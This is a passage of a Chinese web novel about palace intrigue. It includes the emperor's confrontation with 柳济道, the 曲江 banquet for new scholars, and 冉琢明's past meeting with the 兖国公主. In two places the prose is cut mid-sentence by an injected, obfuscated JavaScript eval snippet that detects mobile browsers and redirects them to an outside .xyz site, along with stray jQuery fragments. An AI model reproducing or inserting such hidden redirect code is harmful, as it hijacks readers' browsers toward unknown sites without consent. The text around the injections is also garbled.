柳济道再摇头:“郅后死了,不论是谁都可以是皇后,懿孝太子走了,不论是谁都可以当太子。陛下你定不愿让兖国公主如鲁国长公主般嫁给权力,也不愿东宫某日被兄弟谋篡,可先帝什么也不管,便是继后谋害你,继后谋害了那么多皇子公主,他都不在乎。陛下不是懿孝太子,这种无父无母的日子,陛下过过了,觉得是什么滋味?” 圣上眼眶微红。 “其他皇子亲王,他们也不是坤宁所出的昭文太子,陛下尝过的滋味,他们也都尝了。所以,我从不关注朝廷里又发生了什么事情,又是魏王造反还是燕王叛乱,我都不需去问,因为这些事必然都会发生,他们都会像当年的兖王一样。” “柳初服,你还是不懂我。” “我如何不懂?先帝是放任,陛下是纵容!因为你还需要魏王身后的一群门阀和赵王背后的另一群世家去斗!你扶持他们就是为了让他们杀得两败俱伤!现在魏王倒了、燕王灭了,你不会纵容赵王一家独大,你还要扶持吴王,若是吴王不中用,你还要扶持秦王晋王——” “你既然明白……” “可你想过没,他们都是那么聪明的孩子,如何看不出世家已经烂穿了,他们为什么还要心甘情愿地被门阀绑着就死?” 朔吹凛凛,他们都不自主打了一个寒颤。 “因为恨。” 圣上狂笑起来:“有‘恨’才好啊!才能不死不休地斗下去!才不会想到退缩。” “可他们恨的人,是你啊!” 圣上霍然站起,“那又如何?我难道就不恨吗!” 他戬手指着门外一片静夜,朝柳济道怒吼:“那是紫微宫!我已经赔进去了一个儿子!我唯一的儿子!为了当年的誓言已经死了!” “可赵王魏王,他们是棋子,但他们不也是你的儿子?” “不是!”圣上冲到了门口,转身朝着柳济道喊道:“他们从来都不是我的儿子!” 背着光,柳济道看不起他的脸,只听承天殿上永远威严的声音,此时也如卷地的黄叶,一踩就碎成片,“为了这个誓言,我的妻子、我的儿子,他们都死了!全都死了!我女儿也差点死了!全是为了这个誓言!可你们呢?柳济道,你是个逃兵。” “你怎么有脸来劝我收手?为山九仞,功亏一篑,说的就是你!你可以不要功名,可以连儿子都不要了,你也可以不认我这个皇帝,可你怎么能抛弃你的志?你的道?恩师楼太傅的教导?你从来是认准了就不改的性子,但再崚嶒的石头也被磨平了,你就是这样的石头!被悠闲的日子消磨去了志气!” “你就是胆小!你就是害怕!你就是怕自己也变成我这副样子!变得六亲不认、被权势人心逼得走火入魔成了一个怪物!” “什么唯愿当歌对酒,什么月光长照金樽,什么美好追求,都他妈的是借口!没有我,没有我这种怪物,你他妈过什么太平日子!我连儿子都不要了,就为了这个,你们现在却来劝我回头,回什么头!没了柳晢,你还有别的儿子,你还能回头,我回什么头!我有什么脸回头!” 柳济道沉默无以应对。 “我还怎么回头?柳济道,你个没心的逃兵!” 柳济道闭眼,不忍见君王垂首泪长流。 过了很久,他问:“陛下在想什么?” 圣上抹了一把脸,“如果鹇儿是男孩子就好了。” 柳济道望向门外天边云台月,广寒中无边的孤独随之而来。碧海青天夜夜心,这是一种永世难解的孤独,是一死了之也不能化解的孤独,现在就坠下云端落在了他们身上。当年送走柳曦既,他也未曾皱过眉头,当年决定永不入仕,他也未曾痛过心。现在他望着他的背影,他颓丧无助的背影,顿觉五脏六腑备受锥心之痛。 他整齐衣冠,起身郑重下拜,“陛下应该庆幸,她不是与太子一样的男孩。” “柳济道,你失望了。” 圣上坐在门槛上,转头看他,“我听说你与从一法师往从甚密,你有羁绊,没法出家,但了断尘俗、静扫琴台也是条出路。” 柳济道朝他磕了一个响头。 “你从不说假话,你觉得,我能成功么?” 柳济道直起身郑重道:“陛下也是矢志不渝之人,有志者,事竟成。” ** 升平二十六年三月十五,曲江。 由于去岁士子闹事冲宫门,各衙司都吃了黜落,于是今年都打起十二分精神,会试与殿试格外顺利,传胪游街,簪花授官,一系列流程全都顺利走完,众人才稍稍舒了一口气。 每次放榜过后,下饺子、挂腊肉接踵而至,但独独这次,让三法司连带着京兆府都精疲力尽。 郇寰在刑部过夜的第十五个清晨,郇杭才捧着新衣、驾了马车,来接他回家。 郇寰火气很大,收拾好衣裳就被塞进了马车,躬身掀帘而入时,就看见妆容妥当的沈明枳打了个哈欠,笑着朝他挑眉,“脸色这么差,看来郇大人这些天休息的不好。” 郇寰在她对面坐了下来,原来宽敞的车厢一下子逼仄起来,但郇寰的心情却反倒敞 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沈明枳无言以对。难怪这丫头很久没有来烦自己了,原来是去和凌云重当“邻居”了。 临川压低声,兴奋给她讲新科进士们“乏善可陈”的三两私事秘闻,不料刚入了席面,就与离席将出的柳曦既迎面相对。 沈明枳笑着扯了扯得意忘形的临川与之见礼,柳曦既一一还礼,神色不见松快,眼下的两抹青紫突兀地现在一张微白的脸上。 待人走远了,临川笑望着柳曦既的背影捅了捅沈明枳问道:“柳大人是哪一年的状元来着?” 升平八年。 沈明枳没有回音。临川也不是真要问这个,她抚掌感叹:“连中三元!国朝也就这一个吧!” 沈明枳淡淡应了一声,找了位子坐了下来,临川占了郇寰的位子毫无愧色,朝着水榭上三五成群的年轻进士们指指点点,不一会儿困惑地挠挠头:“啧啧,鹇儿,你分得清梅三、梅四吗?” 沈明枳抬头一张望,见今年的状元和榜眼正被一众老、少男人围在中间,不待她细细分辨那一模一样的五官中截然相反的神采,窦晴柔就携长英公主从外面前呼后拥地径直朝她们走来。 临川见了她们就没有好脸色,窦晴柔也很不想与之多话,倒是长英,就直接坐到了沈明枳身边,没注意那位子是留给姗姗来迟的邕国公主夫妇,不一会儿就被窦晴柔叫走。 “这小妮子倒挺喜欢向你学习呢。” 沈明枳冷冷扫了临川一眼:“不该说的回去再说。” 临川凑上来笑:“我还以为你要训‘不该说的不要说’呢!” 吃了沈明枳一记眼刀,临川撂下了话题,重新聊起了梅三梅四:“哎,梅家真是多才子!一甲进士都齐全了。”临川掰着手指:“你看,老三梅寻春是状元郎!老四梅依径是榜眼!他们家的大哥梅如故倒只是个探花。啧啧,世上今人胜古人!” 沈明枳眼皮一跳,内心腹诽:你是不知道梅如故这个探花郎的含金量,他那一科的状元可是柳曦既,榜眼是那个传言三岁能诗、五岁能文、七岁能赋、九岁通晓四书论遍古今的神童华嵘。 梅家兄弟本是三年前就可参加会试,但因为入秋梅老夫人病逝被迫还乡。至于梅如故,因着不是父母丧,不必去官,故而还任临川知府。 此时,正当临川想再度发表一下对梅家三才子的崇敬时,郇寰来赶人了,随之而来的还有圣驾将至的唱和声。临川没法,只能让了位。听完圣上一番客套说辞,与几位大儒祝完酒后,郇寰这才在召见新科进士的当口寻到机会和沈明枳说说话:“你们方才在聊什么有意思的事呢?” 沈明枳放下酒盏,目光从一甲三人中一个清瘦的年轻人移向一前一后走上来拜谢皇恩的梅家兄弟:“梅家一甲三人都齐全了。” 郇寰轻轻笑:“这倒是罕见的美谈,梅阁老泉下有知也含笑。” 沈明枳忽记起,小时候听梅如故随口提过一句,梅痴绝也是榜眼。 郇寰端着酒盏与对面敬酒的同僚遥遥应和,不由得又笑了:“唉,我也就只能坐这儿吃酒了。” 92. 第九十二章 曲江宴 沈明枳抬眼望去:几个头发花白的大儒、吏部尚书林振江、不知何时去而复返的柳曦既、礼部尚书陈阵、礼部左侍郎裴丰息、礼部右侍郎褚柏祺、大理寺少卿薛康文、新上任的户部右侍郎梅如故、工部右侍郎杨疾初…… 她略有不解地问:“怎么了?” 郇寰与她碰杯,将杯中酒一饮而尽,长叹出一口气,开始和他掰扯对面山羊胡子的林尚书是某某年的探花、对面脱发厉害的裴侍郎是某某年的榜眼,一圈人扒拉下来,竟然全都是一甲进士出身,唯有郇寰的眼里多了几分不存在的愁思。 沈明枳怜悯地给他的酒杯里斟上酒。 “你好歹是二甲的传胪”这样表面上安慰实际上打击的话沈明枳咽了下去,搜肠刮肚后,与他碰杯压低声音道:“好歹你那一年的一甲三人混得都不如你。” 郇寰笑出了声。他们本来就坐得很靠前,郇寰也没克制心花怒放,这一声就引来上座的圣上、宫妃和刚刚退下的一甲三人的注意。 寇妃本想借此说说的,但被圣上笑着的一个眼神逼了回去,和蔼地招呼二甲的年轻人们上来拜谢。 沈明枳暗暗踩了郇寰一脚,郇寰不觉疼,反而笑得更高兴了,引得坐不住打算离席去水榭上转转的老九凑过来嬉笑:“十妹妹啊,你们夫妇恩爱也不用大庭广众地秀吧,你孤家寡人的九哥我可是妒恨!” 沈明枳微笑:“九哥怎会妒忌呢?常常夜会佳人,刺激得很呢。” 郇寰挑眉。 坐在沈明枳上首的赵驸马吃惊地扭过头来。 秦王老九脸色微变了变,知道沈明枳报仇来了,但即刻恢复如故,故意乜斜着郇寰用只能他们三个听得见的音调问道:“十妹妹羡慕?我听说郇侯十来天没回家了?妹妹没想着逗弄几个会点诗书的读书人玩玩?” 沈明枳挑眉,郇寰变了眼色。 老九观察着他们不变的面色,在郇寰开口前哈哈笑道:“逗你们玩儿的,郇侯应该不会生气吧。” 沈明枳和郇寰俱是扯了个笑,冷厉的眼神毫不留情地送客。但郇寰先她一步收拾好心情,只留下沈明枳猝不及防和对面看过来的柳曦既四目对视。 这样的眼神,柳曦既只见过一次。 故太子葬入皇陵难以祭拜,宫中又忌讳香烛祭祀,故而每逢春雪初降,芳林门外梅园花开正好,沈明枳就会去那里折梅寄情思。不过自从长平公主变成了兖国公主,她就不曾去了。 柳曦既最后一次在梅树下见到沈明枳的时候,当年的端王沈明戒生了冻疮。 那天的雪不大,天很冷,景光盛,他昨夜住在了都察院值房中着了凉,精神不济,眼前天与雪一色晕眩。 圣上属意他当驸马都尉,为着故太子临终所托,他没有拒绝。只是头一次因为私事得圣上召见,自内城出来后彻夜难眠,一整晚都在盘算将来的路怎么走,末了,想到沈明枳,他发现算盘裂了。 将散落的算珠一颗一颗地寻回,将那颗名叫婚姻的算珠装回这把他磨了多年的算盘上,是一个漫长而痛苦的过程。所以他决定让这把算盘残疾,将这枚算珠碾碎。 太子和圣上都希望他能助沈明枳摆脱夺位这个泥沼,过上真正“安宁幸福”的日子。但他很了解沈明枳,从她那倔强的一个眼神、紧握住沈明戒的一只手,他知道,她不会安宁不会幸福,哪怕成亲之后放她和离放她自由,她都不会。 但为着向故太子许下的承诺,他得试一试。 他知道沈明枳在想什么,和梅如故一样都想着报仇雪恨,但她还要多一点,比如,保护沈明戒,甚至在她心里这两件事,后者占得份量更重些,更要紧些,因为会有像梅如故这样的人永远忘不了故太子,但没有人会救沈明戒。 他柳曦既也不会。 沈明戒最好的自保出路,就是活成秦王老九。但这个孩子太聪明了,太上进了,太懂事了,太年幼了,他活不成。 他在沈明枳面前向来坦诚,他让她放手。 泥菩萨过江,自身难保。 所以这一瞬间,她的眼神无比冷厉,目光所及之处,都是虚空之中写满了的血淋淋的“异族”二字。 柳曦既第一次认识到了自己的冷漠自私,而她理解自己的“苦衷”。 她好像要哭出眼泪,又像是一滴泪也流不出,只是拿着那支开得好的红梅,定定望着远处被支开的沈明戒。过了很久,她说了话,柳曦既这辈子也不会忘记的话:“那还请柳大人坚定地走下去,守心如一,不染世霪。” 她竟然知道自己和梅如故等是不同的。 所以等雪化了,她特意在东直门甬道堵自己。圣上不介意有了婚约的男男女女私下相见。但谁也没料到,她拿了一卷三闾大夫的《离骚》当礼物,又说等什么时候什么事情过后,教自己去圣上面前退婚。 等他见了她与郇海山一同打马而过时,他仿佛读明白了这一卷手抄《离骚》的深意。 柳曦既望向对面,沈明枳夫妇正和左右寒暄客气,他等三甲进士全都谢完恩典之后,寻了个借口离席。殿外廊下还有席面正往来热切,他四下看遍,不见介含清,心里又把近来介含清的行止过了一遍,正不知想到哪一处关节时,忽见前方枯枝后转出一些人来,他止住脚步,敛眸恭敬一礼:“见过长英公主。” 长英回礼:“柳大人不必多礼。” 长英一身月白,垂首低眉的姿态有几分兖国公主的味道。柳曦既脑海中不知怎么蹦出了几句听院里那帮小年轻说的闲话,说是圣上特别宠爱长英公主,恩宠之盛能与已经出降的兖国公主相比。 柳曦既本就比长英高很多,即便是低了头,也依旧能看得清她的神色举动,抢在她开口前告了辞。 虽说三年孝期还没有过去,但宫里的公主皇子已经到了谈婚论嫁的年纪,此次曲江宴圣上不仅是犒劳进士,还有选婿的暗示,挑到合眼的让两个人先相处来年赐婚就是。在此关口,他更当小心谨慎,防止有瓜田李下之嫌惹上飞来横祸。 长英也觉出了柳曦既的疏离,但想到他对所有人都是一样的冷淡,心里也未生不快,只是站在原地目送他远去。但她没立三瞬,身后就传来了临川的笑声和沈明枳的声音:“长英?你怎么在这里?” “十姐姐和临川姐姐也出来透透气?” 临川上前一步笑道:“是啊,长英妹妹出来透气可物色到了心仪的驸马?” 长英脸一红,求救似地望向沈明枳,沈明枳顺势解围道:“你脸皮厚她脸皮薄,哪有你这样打趣人的?” 临川满不在意:“长英妹妹脸皮薄,那我们更要替她物色了,不然有了心上人憋在心里不好意思说,耽误了一桩天赐良缘怎么办。” 沈明枳笑着白了她一眼,将躲在她身后的男童女童牵了出来,长英的眼立即弯了起来,未褪去的绯红配上她樱桃唇上的笑,显现出一脉动人的娇柔。 长英眨眨眼:“这是——临川姐姐家的?” 虽是问句,却是笃定的语气。临川哼了一声,抱臂立在一旁,沈明枳却和长英一同蹲了下来,用极其温柔的哄孩子的语气问他们:“来,你跟这位仙女般的小姨母说说,你叫什么名字?” 男童害羞地抓着沈明枳的裙子又要躲,倒是女童大大方方爽利地说:“我叫静潭,‘夜静春山空’的静,‘仙官欲往九龙潭’的潭。” 沈明枳微微一愣,抬眼望向正得意洋洋睨着自己的临川。长英惊喜地眨眨眼:“静潭怎么会背这么多王右丞的诗啊。” 张静潭笑鼓着脸蛋,慢吞吞、一字一句地说:“母亲让我们学的,弟弟也会呢。” 长英斜了脑袋看向临川,临川用很不客气的命令似的口气对那还躲在沈明枳背后的男童说:“张平涯,男孩子害什么羞,姨母问你话呢,你的名是哪几个字。” 张平涯不舍地松了沈明枳的裙子,走到长英面前行了个礼:“回小姨母,是‘千里暮云平’的平和‘积水穷天涯’的涯。” 长英起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969240|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑得娇俏,变着法儿夸这两个孩子,不忘观察沈明枳的脸色。强势霸道如临川郡主,都给家里的便宜丈夫张山川纳了妾,都到了这个岁数,沈明枳和郇海山未有子嗣,郇海山在外面连女人的袖子都不沾,她这个十姐姐还不考虑下纳个妾给郇家绵延香火?且她瞧着,沈明枳挺喜欢小孩子的。并且,临川这个大老粗怎么会有雅意去读王摩诘的诗?还让妾的儿女将王诗背得滚瓜烂熟? 长英是没想到,瞧着沈明枳应当喜欢陆放翁或者辛稼轩那种调调的,不曾想她竟是王摩诘这一挂的。 沈明枳看着长英灼若芙蕖出渌波的笑容,心里一阵暖一阵凉。 她也没想到临川竟然让两个孩子去背这些诗! 和长英别过后,临川还没来得及向沈明枳邀功,就被腹中一阵痉挛抽搐搅扰得冷汗直冒。临川不想坏了沈明枳的好心情,频添担心,借口更衣,让沈明枳带着两个孩子在附近转转。 初春的曲江花团锦簇,但沈明枳闲坐的这处小榭却光秃秃似被拔了毛的锦鸡。因此,当身罗锦绣的人们流连至此,沈明枳觉得薄春初霁,桃红柳绿甚是扎眼,两个小孩子的注意也全被吸引过去。 一群光鲜亮丽的新科进士里那衣衫朴素的年轻人格外刺眼,像是纱罗锦缎上的补丁、粉墙白纸上的污渍,直将最惨痛晦暗的现实戳到人眼皮子下,将这美好瑰丽的盛世图景戳出一个洞。 冉琢明望见亭榭端坐的兖国公主,和围绕左右嬉笑的两个孩子,顿觉神经一紧。失神的片刻,已经有人簇拥着他和踟蹰不前另一人过去。 沈明枳心里正想着当年自己留给冉琢明的钱,应该足以他富足地过日子,在化隆买一件新衣裳也是够的,莫非是飞来横财反生事端云云,倒没想他们一帮人乌泱泱地往自己这里来于理不合,被沈明戒一声“阿姐”唤回了神,这才发现自己光顾着看冉琢明,倒忘记看为首的晋王和犹疑不定的宁晨铎。 沈明枳一一回礼,听晋王给她一一介绍身后的年轻人们,轮到冉琢明的时候,那年轻尚未雕琢过的目光里透亮出几星希冀,但见沈明枳对他的态度并无不同,于是瞬息万变后,眼中溅落草野的火星子渐渐熄灭。 沈明枳心中有叹,但只能不动声色,委婉地提了一下不久后将在襄阳侯府举行的宴会欢迎他们前来,然后给沈明戒使了眼色叫他带人离开。 这次宴会将由她亲自操办,免去披红挂彩,本旨在答谢去岁柳太夫人出殡各家沿街设路祭相送,因为各种变故一拖再拖,拖到今日迫不得已。后来郇八娘闹出那一番事,再加上开春圣上曾暗示过宫里上下要给已经及笄的公主们遴选驸马,沈明枳就打算顺便邀一些尚无根基的未婚士子前来,积极响应各番号召。当然,请帖她是不能给他们发的,但来者欢迎。 众人刚要调头离开,没几步,就听见沈明戒的声音从最前方传来,随后是一众官宦子弟给郇寰的见礼:“见过郇侯,郇侯怎么逛到这儿来了?” 郇寰个高,但这些年轻人中也有比他高的佼佼,但此时他们莫不是收紧了下颌退开一条直通小榭的道,让缓缓站起身的沈明枳现在他的眼前。 郇寰扫过人群中的宁晨铎,报以一个疏离亲切分寸拿捏极好的笑,和与他道礼的陌生面孔一一颔首,不消他开口,就已经有知晓皇家姻亲关系的人调笑道:“还能干什么,当然是来找公主的啊。” 沈明戒很不悦地瞪了那人一眼。这些人中不乏和冉琢明一样是苦寒门出身,听了这话便也猜到了带着孩子的兖国公主和眼前这位郇侯是夫妻关系,也即刻明白这位郇侯就是那个在官宦子弟口中口口相传、声声相念的襄阳侯。 冉琢明冰凉的心在郇寰目光投过来的刹那有了丝丝裂痕。出乎他的意料,郇寰对他的态度不如沈明枳冷淡,而是有了几分更盛的笑意,特意打量过他后确认名讳:“冉琢明?” 他躬身一揖,等待后文。 在众人好奇的注视下郇寰赞道:“很好,我刑部可算也有一甲登科的人才了。” 93. 第九十三章 冉琢明 冉琢明蓦然抬起头,有些茫然地迎上郇寰不吝赞扬的目光。人群中反应最快、前来接话茬的竟然是款款走来的沈明枳:“原来新科探花就是被你念了这么久的那个后生。” 郇寰很自然地扶上沈明枳的手,待她安稳地步下台阶方才松手,“真是莫大的惊喜。” 冉琢明挤出一个僵硬的笑。 授完官,这些天他忙着安顿,忙着摸清化隆城街坊布局,还没来得及打听刑部的那些压死人的大官,只听说他即将供职的刑部的那位尚书大人很年轻,很爱惜后生,是可容他施展拳脚的上司,唯一的缺憾大概就是和赵王走得很近。他虽然只是个芝麻绿豆大的六品主事,和尚书直面往来的日子遥遥无期,但他对刑部对这个尚书有着无可言说的亲切。 但现在那种亲切变了味。 沈明戒笑着继续替还怔愣的冉琢明接话道:“姐夫你不妨说说,你和都察院他们抢人抢得可辛苦?” 往年授官,新科进士们大多往都察院、吏部、户部、礼部扎堆,其中属都察院最热门;大理寺和工部偶尔通过圣旨指派可以抢到几个新出炉的进士,最凄凉的就是被谣传得累死累活不讨好的刑部,抢到了人也都是别人挑挑拣拣剩下的,与乐呵呵看戏的对门察院人大眼瞪小眼一肚子憋屈气。 不过今年刑部风水不错,虽然一甲榜眼梅依径和二甲的诸多年轻人都入了都察院,状元梅寻春自请去了工部,但咱们有探花啊,而且将刑部上下官员扒一遍,连尚书大人这个传胪的科举出身都比不过这个探花小年轻。 郇寰笑而不语。 刑部的风水何时好过?是他让严中立先把进士筛选一遍,然后给陶识礼下了死命令,让他去吏部把看中的小年轻要过来,陶识礼这些天几乎就差住在吏部了;还不成,郇寰特意请了在京中过年的前刑部萧尚书,其实萧尚书根本不用他请,早打算为了刑部人的心结进宫到龙案面前哭,还逼着郇寰现身说法,闹得圣上没办法了,破天荒地把新科探花划给了刑部,还打包赠送了二甲三甲不少充数的。 这就叫自己动手,丰衣足食;自己用心,焕然一新。 有人捧了沈明戒的场,众人大笑一番,倒没人管冉琢明的不善交际。 早已脱了书生气的郇寰与他们这些年轻人聊不深,更不想沈明枳和宁晨铎共处一地,于是乎招来躲在沈明枳背后探头好奇的张平涯和张静潭,与沈明枳一人牵了一个,打算告辞。 这时,不知哪个没眼力见的人捧了一句“侯爷和公主殿下的儿女真是聪睿标志”,霍然,懂的与不懂的,有心的和无意的,都感受到了气氛骤变,丽日和风刺骨阴寒,平地如刀山。 其实郇寰和沈明枳并未显露出半分不妥,倒是沈明戒和宁晨铎略微沉不住气,他们又是这群年轻人中的领头,那几分掩饰中的不悦、尴尬、忧虑很快就被这些上进好学的年轻人剥的□□,逼得郇寰不得不笑着替他们打圆场,趁着沈明枳不注意搂了下她的腰,朗声笑道:“我们若得这般聪明懂事的孩子,做梦也要笑醒了。” 沈明枳不动声色离他远了几寸,用脸上艳羡的笑容遮掩心中的不适,下意识看了一圈有多少人注意到了郇寰胆大包天的作为,沈明戒正笑了接话茬,其他人都很坦然地与她的目光交汇以掩饰心中的惊诧,唯独到了宁晨铎和冉琢明这里,都不慎显露刻意地挪开视线。 宁晨铎反复警告自己,但抑制不住心里的难过;而冉琢明,心底那份不可宣之于口的感情胎死腹中。 他们三年前就认识了。 他后来无数次后悔与她那样狼狈地相识,但又自己扇了自己一个耳光:若非有那段相遇,他这个最下等的货色恐怕这辈子都见不到身为公主的她。 代帝南巡一路途经江西道暨县,当地上下都已听闻钦差们在南海道布政司的雷霆手段,心中惶恐不安,生怕一个不慎沦为刀下亡魂。皇子公主的仪仗先臣子一步,由阴阳卫护送行至暨县附近,当地乡绅就打算投其所好,将皇子公主伺候得妥妥帖帖。 但暨县是个小地方,特产没什么,名胜没什么,官最大的老爷也不清楚化隆城里神仙们的弯弯绕绕,和晋绅商量过后,决定走最吃香最稳妥的险招——寻了五六个年轻貌美、才情绝佳的女子和相貌端正、会拽几句酸诗腐文的小生,献给端王和兖国公主,当然,如果贵人不喜欢,别的款式也有的。 也不能怪他们有此谋划。其一,他们对端王和兖国公主的了解实在太少。端王年少,兖国公主嫁了人,一路走到暨县,前面接驾的人也没挖出来这两位有什么癖好,去化隆城打听也需要时日。其二,他们对自己的判断太自信了。从前也不是没有京里的公主郡主外出游玩的,但不是驸马、仪宾鞍前马后地陪着就是守了寡自由自在,像兖国公主这样独身一人带着弟弟闯天涯的实在罕见,没有先例!外人很难不往夫妻不睦上面去想。 实惠有了名声也有了,那可不就缺点享受嘛。 这样再加上各方别的心思算计,就在仪仗在县衙安置的当晚,沈明戒刚从沈明枳处说完话回屋,就见微弱的烛光下摇曳着几缕袅娜的倩影,吓得他差点拔剑怒吼,连刚亲自巡逻完一圈也打算稍稍休息的指挥使窦宇也大吃一惊。 沈明戒扔了剑,命人将那些女子关在屋里,立在门外吃了会儿冷风,镇定下来后就飞也似的往沈明枳的屋子跑,被人拦住并听说阿姐已经将送来的人都照单全收时,他呆愣在了原地。 暖烘烘的屋里,所有人也都呆在原地。 沈明枳简单地拢了头发,披了毳衣坐在屏风后,一壁将桌上的一盏花烛灯剪得旺盛,一壁让月珰给他们端了凳子。 “怎么?不是说你们读过书吗?怎么一个人也不说话?” 她的声音自那最繁华、最矜贵的屏风后飘来,好似隔了千山万水,虚无缥缈得不真。但她远比那什劳子珍品屏风要繁华要矜贵,她本身就是他们这些乡野村夫在荒山野岭做的一场美梦黄粱。 他们这四个人是“自愿”来侍奉公主的。已经有三个人以为这不过是贵人捉弄人、挑逗人的把戏,捡了脑子里还剩下的,不吝溢美之辞,谄媚地向荣华富贵、春宵苦短弯了腰。只有他这一刻,后悔了。 他是个普通人,因着读书可免除徭役、读出名堂还能光宗耀祖、富贵加身,所以寒来暑往,手不释卷,读书一路艰辛实如玄真遁叟所写。他不曾想过放弃,即便生父为非作歹横死荒郊,母亲亡故无以依靠,家徒四壁无可寄托。 他本就没什么尊严,读了书懂了道理后也拾不起那穷酸的尊严。 所以他堕落得“情有可原”,当他得知县官的儿子过了乡试,盗用的是他的卷子!他求告到学府、察院都被打了回来!他身无分文,他寸步难行,他无路可走。他需要活下去,他需要钱帛,幸亏他还有一副说不上绝佳说不上落魄的皮囊,他自愿以色侍人,如果有机会的话。 但他这时,竟然想要维护那可悲可笑的尊严。 他缄口不语。 “你怎么不说话?” 沈明枳端坐,再问:“你不是自愿的?” 他颤声答:“是。” 沈明枳透过屏风的遮挡端详他半晌,“你叫什么?” 他咬牙,耻辱地答:“冉普。” 沈明枳点点头,目光始终不曾移开这个低垂着头不辨神色的人身上,叫月珰拿了些银钱打发了那三个开过口的人,然后在三个男人的千恩万谢和一头雾水中,叫所有人都退下。 冉琢明这一刻心已经提到了嗓子眼。 沈明枳见他一直站着:“坐吧。” 冉琢明一动不动,身姿如松。 沈明枳捧了手炉:“你觉得我在羞辱你。” 冉琢明抿唇。 “羞辱你的学问,拿你读过的圣贤书取乐。” 冉琢明不知费了多大劲才平静下来,只是艰难地听她温温柔柔的话一刀刀凌迟在琵琶骨。 “但你既自愿让人践踏你的尊严,你又何必对旁人的羞辱忿忿不平。” “可见,你并不是自愿的。”她的话里露出不耐烦和很失望,冉琢明努力平复的内心终翻惊涛骇浪,似是害怕失去这千载难逢的富贵机会,似是害怕面对自己饥寒交迫被这世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984481|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道草菅人命的未来,他像是溺水者拼命拽住救命稻草,迫切地反驳:“我是自愿的!” 沈明枳笑着摇头:“不必自欺欺人,本宫不爱勉强。” 冉琢明终于爆发了:“公主!我是自愿的。我自甘下贱,但圣人之道不可亵渎!” 沈明枳似是听见了天大的笑话,内心一阵悲一阵怒,极尽刻薄讽刺地反问他,又像是在质问自己:“圣人道,志在救苍生,而今连你自己也救不了,你还护它做什么?” 夫道既已大修而不用,是有国者之丑也。不容何病,不容然后见君子! 冉琢明苦笑。他抑制住那脱口而出的冲动,朝屏风一揖,转身离开。 若是心中这一星皎洁地也被墨染,他便没了活下去的必要。 沈明枳叹息:“你且等等。” 冉琢明停止。 沈明枳揉了揉紧缩的眉心,无可奈何地吐出一口浊气:“你的文章我读过了。” “夫道既已大修而不用,是有国者之丑也。”沈明枳将手炉搁在桌上,扶着桌沿起身。她现在这身子本就不是能招面首挥霍得起的,这里也不是纵情声色的地方,况且醉翁之意不在酒,她只是想见见、帮帮这个,年轻又莽撞、绝望又矛盾的人。 她看不见冉琢明眼底的亮色,只觉得自己要被这无处不在的不安和无孔不入的失望压得喘不过气来,她冷静了片刻,没头没尾地问了一句:“你取字了吗?” 冉琢明倏然转身。 沈明枳念了他的名两遍,“叫琢明吧,雕琢的琢,光明的明。” 冉琢明更觉悲凄。他的名连起来读容易吞音,公主应当误以为他的名是璞玉的“璞”,而非普普通通的“普”。但公主如何会不知道他的名讳,他的文章她都细细读过了。在见到这个人之前,她已经认识这个人了。 甚至在某一瞬,他以为公主是为他而来。 他真是未饮酒而先知醉:公主将暨县上下清洗一遍,黜落官宦商贾出身非法中第者不过是其中一环。 他知足的。 他不知足! 他以卫道的名义从暨县走到化隆,只是为了见他的公主。感情真是很奇怪,他分明连公主的容貌也没见过,只隔着屏风听过她病中音,就好似听见异族的蛊惑,心甘情愿地将自己心挖出来、献出去。 他还记得自己从那间改换他人生的屋子出来的时候,空落落的庭下寂寥无人,唯有经过黢黑的游廊时自己带起的晚风拂起暗处阴阳卫的披风角,这样细微如同夜虫私语的响动,昭示了主人家的用心。兖国公主仿佛早就知道这会是冉琢明人生中的丑闻,所以她严防死守,同前三个人一样赐了他金银,主事官员自来也不会多说,走漏了消息让别人也找到这条终南捷径。 但这不是天衣无缝,有心要查也并非查不出。 冉琢明望向行宫巍峨的门户。 他不能给公主惹麻烦。 ** 恭送完圣驾,非科举出身的贵人们也陆续来齐了,接下来就完全是拉帮结党、同类为伍的时候了。 坐不住的郇寰可算等到了申不极等,却被牵绊在何家人中脱不开身,倒方便了沈明枳去“偶遇”东宫旧臣。 沈明枳很久没有与乔致用说话了。 上回送韦不决离京他们见过一面,但碍于人多眼杂,言语礼节来往一如沈明枳正式见柳曦既、梅如故,而她与郇寰最近关系不错,也没有事情作为借口,私底下也不方便拜访,况且她连乔致用落脚何处都不知道。只曾经听说每次乔致用回京述职,必然要借梅家在化隆的房子住一住。 不错,乔致用已经“落魄”得在化隆无立锥之地、不得不暂住别人屋檐之下。 虽说乔致用还是那首“喜文的,寻花问柳;好武的,露宿桥头”的歌谣中非常宜嫁的美男子,但如果选了就能得到,化隆的闺秀们宁可给陆微当续弦、宁可嫁给几乎和家族撕破脸皮的窦宙去关外啃沙子,也不会选正经门阀长房长子出身、战功赫赫的乔致用。 沈明枳为之叹服。 因为乔致用有一位红颜知己。 94. 第九十四章 买房记 据梅如故说,除了没有父母之命、媒妁之言,他们私底下已经结发山盟、誓死共携白首了,和郇寰、沈明枳这样的正经夫妻没有什么两样,不,有两样,他们真真是恩爱情长,连梅如故这样的厚脸皮见了都觉得羞臊。 至于为什么没有三书六聘八抬大轿——还不是乔家不答应一个娼妓飞上枝头变凤凰、成为整个家族的宗妇。 